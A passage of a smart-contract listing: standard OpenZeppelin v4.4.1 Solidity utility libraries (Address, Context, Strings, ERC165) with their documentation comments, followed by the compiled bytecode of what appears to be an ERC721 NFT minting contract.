wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106102305760003560e01c806394f63cf91161012e578063d547cfb7116100ab578063e985e9c51161006f578063e985e9c51461083c578063ecb9db0714610879578063edb19ae8146108a2578063f0f36f91146108e0578063f82c14ba1461090b57610230565b8063d547cfb714610755578063db72a75914610780578063db8f24b8146107ab578063ddc5cb1d146107e8578063e5e3e5171461081157610230565b8063ab0bcc41116100f2578063ab0bcc411461065e578063b827cb5b14610689578063b88d4fde146106c6578063c110beef146106ef578063c87b56dd1461071857610230565b806394f63cf91461058857806395d89b41146105b15780639727cc9b146105dc578063a0712d6814610619578063a22cb4651461063557610230565b806341ccb623116101bc57806370a082311161018057806370a08231146104a5578063775b9c13146104e257806381eec9b01461050b57806387a21475146105345780638a758e8f1461055d57610230565b806341ccb623146103c257806342842e0e146103eb5780634901d7111461041457806355f804b31461043f5780636352211e1461046857610230565b806318160ddd1161020357806318160ddd146103035780631919fed71461032e57806323b872dd1461035757806325ab7bb4146103805780633ad10ef61461039757610230565b806301ffc9a71461023557806306fdde0314610272578063081812fc1461029d578063095ea7b3146102da575b600080fd5b34801561024157600080fd5b5061025c60048036038101906102579190613200565b610936565b60405161026991906137cf565b60405180910390f35b34801561027e57600080fd5b50610287610a18565b60405161029491906137ea565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf91906132a3565b610aaa565b6040516102d19190613768565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc91906130f7565b610b2f565b005b34801561030f57600080fd5b50610318610c47565b6040516103259190613aec565b60405180910390f35b34801561033a57600080fd5b50610355600480360381019061035091906132a3565b610c51565b005b34801561036357600080fd5b5061037e60048036038101906103799190612fe1565b610ceb565b005b34801561038c57600080fd5b50610395610d4b565b005b3480156103a357600080fd5b506103ac610e93565b6040516103b99190613768565b60405180910390f35b3480156103ce57600080fd5b506103e960048036038101906103e4919061318a565b610eb9565b005b3480156103f757600080fd5b50610412600480360381019061040d9190612fe1565b610fde565b005b34801561042057600080fd5b50610429610ffe565b6040516104369190613aec565b60405180910390f35b34801561044b57600080fd5b506104666004803603810190610461919061325a565b611004565b005b34801561047457600080fd5b5061048f600480360381019061048a91906132a3565b6110ae565b60405161049c9190613768565b60405180910390f35b3480156104b157600080fd5b506104cc60048036038101906104c79190612f74565b611160565b6040516104d99190613aec565b60405180910390f35b3480156104ee57600080fd5b506105096004803603810190610504919061318a565b611218565b005b34801561051757600080fd5b50610532600480360381019061052d919061325a565b61133a565b005b34801561054057600080fd5b5061055b600480360381019061055691906131d3565b6113e4565b005b34801561056957600080fd5b50610572611491565b60405161057f9190613aec565b60405180910390f35b34801561059457600080fd5b506105af60048036038101906105aa919061318a565b6114a7565b005b3480156105bd57600080fd5b506105c66115ef565b6040516105d391906137ea565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe9190612f74565b611681565b60405161061091906137cf565b60405180910390f35b610633600480360381019061062e91906132a3565b6116a1565b005b34801561064157600080fd5b5061065c600480360381019061065791906130b7565b611930565b005b34801561066a57600080fd5b50610673611946565b60405161068091906137cf565b60405180910390f35b34801561069557600080fd5b506106b060048036038101906106ab9190612f74565b611959565b6040516106bd9190613aec565b60405180910390f35b3480156106d257600080fd5b506106ed60048036038101906106e89190613034565b611971565b005b3480156106fb57600080fd5b5061071660048036038101906107119190613137565b6119d3565b005b34801561072457600080fd5b5061073f600480360381019061073a91906132a3565b611af6565b60405161074c91906137ea565b60405180910390f35b34801561076157600080fd5b5061076a611b66565b60405161077791906137ea565b60405180910390f35b34801561078c57600080fd5b50610795611bf4565b6040516107a29190613aec565b60405180910390f35b3480156107b757600080fd5b506107d260048036038101906107cd9190612f74565b611bfa565b6040516107df9190613aec565b60405180910390f35b3480156107f457600080fd5b5061080f600480360381019061080a9190612f74565b611c12565b005b34801561081d57600080fd5b50610826611dee565b6040516108339190613768565b60405180910390f35b34801561084857600080fd5b50610863600480360381019061085e9190612fa1565b611e14565b60405161087091906137cf565b60405180910390f35b34801561088557600080fd5b506108a0600480360381019061089b9190612f74565b611ea8565b005b3480156108ae57600080fd5b506108c960048036038101906108c49190612f74565b61208a565b6040516108d7929190613b07565b60405180910390f35b3480156108ec57600080fd5b506108f56120ae565b60405161090291906137ea565b60405180910390f35b34801561091757600080fd5b5061092061213c565b60405161092d9190613aec565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610a0157507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a115750610a1082612146565b5b9050919050565b606060008054610a2790613e30565b80601f0160208091040260200160405190810160405280929190818152602001828054610a5390613e30565b8015610aa05780601f10610a7557610100808354040283529160200191610aa0565b820191906000526020600020905b815481529060010190602001808311610a8357829003601f168201915b5050505050905090565b6000610ab5826121b0565b610af4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aeb90613a0c565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610b3a826110ae565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba290613a4c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610bca61221c565b73ffffffffffffffffffffffffffffffffffffffff161480610bf95750610bf881610bf361221c565b611e14565b5b610c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2f9061394c565b60405180910390fd5b610c428383612224565b505050565b6000612710905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd89061390c565b60405180910390fd5b8060098190555050565b610cfc610cf661221c565b826122dd565b610d3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3290613a8c565b60405180910390fd5b610d468383836123bb565b505050565b6000600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610dcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc490613acc565b60405180910390fd5b612710610dd861213c565b10610e18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0f9061380c565b60405180910390fd5b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190610e6890613e06565b919050555060086000815480929190610e8090613e93565b9190505550610e9133600854612622565b565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f409061390c565b60405180910390fd5b60005b8151811015610fda57600160106000848481518110610f6e57610f6d613f9a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610fd290613e93565b915050610f4c565b5050565b610ff983838360405180602001604052806000815250611971565b505050565b600a5481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108b9061390c565b60405180910390fd5b80600b90805190602001906110aa929190612cea565b5050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114e906139ac565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c89061398c565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129f9061390c565b60405180910390fd5b60005b815181101561133657600e60008383815181106112cb576112ca613f9a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061131e90613e93565b9190505550808061132e90613e93565b9150506112ab565b5050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c19061390c565b60405180910390fd5b80600c90805190602001906113e0929190612cea565b5050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146b9061390c565b60405180910390fd5b80600d60006101000a81548160ff02191690831515021790555050565b6000600a54603c6114a29190613d1c565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152e9061390c565b60405180910390fd5b612710815161154461213c565b61154e9190613c3b565b1061158e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611585906138ac565b60405180910390fd5b60005b81518110156115eb57600860008154809291906115ad90613e93565b91905055506115d88282815181106115c8576115c7613f9a565b5b6020026020010151600854612622565b80806115e390613e93565b915050611591565b5050565b6060600180546115fe90613e30565b80601f016020809104026020016040519081016040528092919081815260200182805461162a90613e30565b80156116775780601f1061164c57610100808354040283529160200191611677565b820191906000526020600020905b81548152906001019060200180831161165a57829003601f168201915b5050505050905090565b60106020528060005260406000206000915054906101000a900460ff1681565b806009546116af9190613cc2565b34146116f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e790613aac565b60405180910390fd5b612710816116fc61213c565b6117069190613c3b565b1115611747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173e9061380c565b60405180910390fd5b60011515600d60009054906101000a900460ff1615151461179d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117949061396c565b60405180910390fd5b606481600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ea9190613c3b565b111561182b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182290613a6c565b60405180910390fd5b80600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461187a9190613c3b565b9250508190555060005b818110156118c3576008600081548092919061189f90613e93565b91905055506118b033600854612622565b80806118bb90613e93565b915050611884565b50600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561192c573d6000803e3d6000fd5b5050565b61194261193b61221c565b83836127fc565b5050565b600d60009054906101000a900460ff1681565b600e6020528060005260406000206000915090505481565b61198261197c61221c565b836122dd565b6119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b890613a8c565b60405180910390fd5b6119cd84848484612969565b50505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5a9061390c565b60405180910390fd5b80601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555081601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550505050565b6060603c821115611b3357600b611b0c836129c5565b604051602001611b1d929190613744565b6040516020818303038152906040529050611b61565b600c611b3e836129c5565b604051602001611b4f929190613744565b60405160208183030381529060405290505b919050565b600b8054611b7390613e30565b80601f0160208091040260200160405190810160405280929190818152602001828054611b9f90613e30565b8015611bec5780601f10611bc157610100808354040283529160200191611bec565b820191906000526020600020905b815481529060010190602001808311611bcf57829003601f168201915b505050505081565b60095481565b600f6020528060005260406000206000915090505481565b60011515601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611ca5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9c90613a2c565b60405180910390fd5b6000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015411611d2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d21906139ec565b60405180910390fd5b603c600a5410611d6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d669061388c565b60405180910390fd5b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016000815480929190611dc290613e06565b9190505550600a6000815480929190611dda90613e93565b9190505550611deb81600a54612622565b50565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60011515601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611f3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3290613a2c565b60405180910390fd5b6000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015411611fc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb7906139ec565b60405180910390fd5b612710611fcb61213c565b1061200b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120029061380c565b60405180910390fd5b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600081548092919061205e90613e06565b91905055506008600081548092919061207690613e93565b919050555061208781600854612622565b50565b60116020528060005260406000206000915090508060000154908060010154905082565b600c80546120bb90613e30565b80601f01602080910402602001604051908101604052809291908181526020018280546120e790613e30565b80156121345780601f1061210957610100808354040283529160200191612134565b820191906000526020600020905b81548152906001019060200180831161211757829003601f168201915b505050505081565b6000600854905090565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16612297836110ae565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006122e8826121b0565b612327576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231e9061392c565b60405180910390fd5b6000612332836110ae565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806123a157508373ffffffffffffffffffffffffffffffffffffffff1661238984610aaa565b73ffffffffffffffffffffffffffffffffffffffff16145b806123b257506123b18185611e14565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166123db826110ae565b73ffffffffffffffffffffffffffffffffffffffff1614612431576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124289061384c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612498906138cc565b60405180910390fd5b6124ac838383612b26565b6124b7600082612224565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125079190613d1c565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461255e9190613c3b565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461261d838383612b2b565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612692576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612689906139cc565b60405180910390fd5b61269b816121b0565b156126db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d29061386c565b60405180910390fd5b6126e760008383612b26565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546127379190613c3b565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46127f860008383612b2b565b5050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561286b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612862906138ec565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161295c91906137cf565b60405180910390a3505050565b6129748484846123bb565b61298084848484612b30565b6129bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129b69061382c565b60405180910390fd5b50505050565b60606000821415612a0d576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612b21565b600082905060005b60008214612a3f578080612a2890613e93565b915050600a82612a389190613c91565b9150612a15565b60008167ffffffffffffffff811115612a5b57612a5a613fc9565b5b6040519080825280601f01601f191660200182016040528015612a8d5781602001600182028036833780820191505090505b5090505b60008514612b1a57600182612aa69190613d1c565b9150600a85612ab59190613edc565b6030612ac19190613c3b565b60f81b818381518110612ad757612ad6613f9a565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85612b139190613c91565b9450612a91565b8093505050505b919050565b505050565b505050565b6000612b518473ffffffffffffffffffffffffffffffffffffffff16612cc7565b15612cba578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612b7a61221c565b8786866040518563ffffffff1660e01b8152600401612b9c9493929190613783565b602060405180830381600087803b158015612bb657600080fd5b505af1925050508015612be757506040513d601f19601f82011682018060405250810190612be4919061322d565b60015b612c6a573d8060008114612c17576040519150601f19603f3d011682016040523d82523d6000602084013e612c1c565b606091505b50600081511415612c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c599061382c565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612cbf565b600190505b949350505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b828054612cf690613e30565b90600052602060002090601f016020900481019282612d185760008555612d5f565b82601f10612d3157805160ff1916838001178555612d5f565b82800160010185558215612d5f579182015b82811115612d5e578251825591602001919060010190612d43565b5b509050612d6c9190612d70565b5090565b5b80821115612d89576000816000905550600101612d71565b5090565b6000612da0612d9b84613b55565b613b30565b90508083825260208201905082856020860282011115612dc357612dc2613ffd565b5b60005b85811015612df35781612dd98882612e81565b845260208401935060208301925050600181019050612dc6565b5050509392505050565b6000612e10612e0b84613b81565b613b30565b905082815260208101848484011115612e2c57612e2b614002565b5b612e37848285613dc4565b509392505050565b6000612e52612e4d84613bb2565b613b30565b905082815260208101848484011115612e6e57612e6d614002565b5b612e79848285613dc4565b509392505050565b600081359050612e908161454d565b92915050565b600082601f830112612eab57612eaa613ff8565b5b8135612ebb848260208601612d8d565b91505092915050565b600081359050612ed381614564565b92915050565b600081359050612ee88161457b565b92915050565b600081519050612efd8161457b565b92915050565b600082601f830112612f1857612f17613ff8565b5b8135612f28848260208601612dfd565b91505092915050565b600082601f830112612f4657612f45613ff8565b5b8135612f56848260208601612e3f565b91505092915050565b600081359050612f6e81614592565b92915050565b600060208284031215612f8a57612f8961400c565b5b6000612f9884828501612e81565b91505092915050565b60008060408385031215612fb857612fb761400c565b5b6000612fc685828601612e81565b9250506020612fd785828601612e81565b9150509250929050565b600080600060608486031215612ffa57612ff961400c565b5b600061300886828701612e81565b935050602061301986828701612e81565b925050604061302a86828701612f5f565b9150509250925092565b6000806000806080858703121561304e5761304d61400c565b5b600061305c87828801612e81565b945050602061306d87828801612e81565b935050604061307e87828801612f5f565b925050606085013567ffffffffffffffff81111561309f5761309e614007565b